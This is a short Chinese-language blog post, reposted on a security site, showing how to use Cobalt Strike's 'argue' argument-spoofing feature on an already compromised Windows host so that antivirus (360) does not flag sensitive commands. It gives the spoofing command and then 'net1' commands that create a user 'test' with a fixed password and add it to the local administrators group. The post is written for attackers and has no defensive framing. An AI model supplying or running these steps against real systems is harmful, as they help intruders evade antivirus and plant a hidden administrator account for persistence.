CobaltStrike的argue参数污染绕AV

admin 2020年9月13日07:00:50评论733 views字数 430阅读1分26秒阅读模式

在获取了对方主机CobaltStrike Beacon后,需要执行一些敏感的操作(如创建用户等)。但是目标主机有AV,执行敏感命令会直接报毒等,这时我们可以使用Cobaltstrike自带的argue参数污染来执行敏感操作。


使用argue参数污染创建新用户并加入管理员组中

使用前提administrator system权限。执行创建新用户命令,360报毒

CobaltStrike的argue参数污染绕AV

使用argus参数污染 net1

#参数污染netargue net1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx#查看污染的参数 argue

CobaltStrike的argue参数污染绕AV

用污染的 net1 创建用户,发现创建成功,360也不报毒

#用污染的net1执行敏感操作execute net1 user test root123 /addexecute net1 localgroup administrators test /add

CobaltStrike的argue参数污染绕AV

CobaltStrike的argue参数污染绕AV


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月13日07:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike的argue参数污染绕AVhttp://cn-sec.com/archives/130584.html

发表评论

匿名网友 填写信息